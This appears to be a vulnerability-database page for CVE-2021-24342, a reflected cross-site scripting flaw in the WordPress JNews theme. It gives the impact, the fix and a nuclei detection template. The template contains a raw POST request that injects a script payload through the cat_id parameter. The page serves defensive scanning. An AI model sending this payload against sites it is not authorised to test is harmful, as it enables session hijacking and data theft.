Browse / CVEs / CVE-2021-24342
CVE-2021-24342· jnews / jnews· CWE-79
WordPress JNews Theme <8.0.6 - Cross-Site Scripting
WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
Fix
Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
How to confirm it
Send: GET /wp-content/themes/jnews/readme.txt
Positive when: contains "Change Log:" and "JNews -"
Send: POST /?ajax-request=jnews
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "Content-Type: text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-24342 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24342
info:
name: WordPress JNews Theme <8.0.6 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24342
cwe-id: CWE-79
epss-score: 0.01975
epss-percentile: 0.80655
cpe: cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: jnews
product: jnews
framework: wordpress
tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,jnews,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/themes/jnews/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Change Log:'
- 'JNews -'
condition: and
- raw:
- |
POST /?ajax-request=jnews HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/x-www-form-urlencoded
lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- 'Content-Type: text/html'
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from